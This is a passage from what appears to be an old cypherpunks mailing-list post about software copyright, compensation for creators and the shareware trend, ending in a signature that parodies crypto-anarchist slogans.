trick-or-treating next year.) I can understand that Tim May wants to hang on to the mountain of cash that was made possible by his company's software copyrights, but I am surprised that he seems so boastful about denying others any compensation for their ideas, talent, and labour. The Internet seems to be moving proprietary software more toward a shareware/freeware attitude, since some companies are seeing the benefit of making their product widely available. An example is Microsoft making a file available for people without their product to read the documents produced with it. I suspect that the technology which allows most information to be set free from the bondage of copyright will lead to a more balanced playing field where it is harder for a company to keep their prices artificially high by virtue of market domination and political pull, but there will always remain a need for those who create and produce to receive compensation for doing so. There's something wrong when Janet Reno is not a felon under an increasing number of laws. ---------:---------:---------:---------:---------:---------:---------:---- TruthMonger #1 | Crypto Anarchy: encryption, digital money, tm(a)dev.null 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "Reputation Capital isn't even a speed bump to Identity highway robbery."

4 3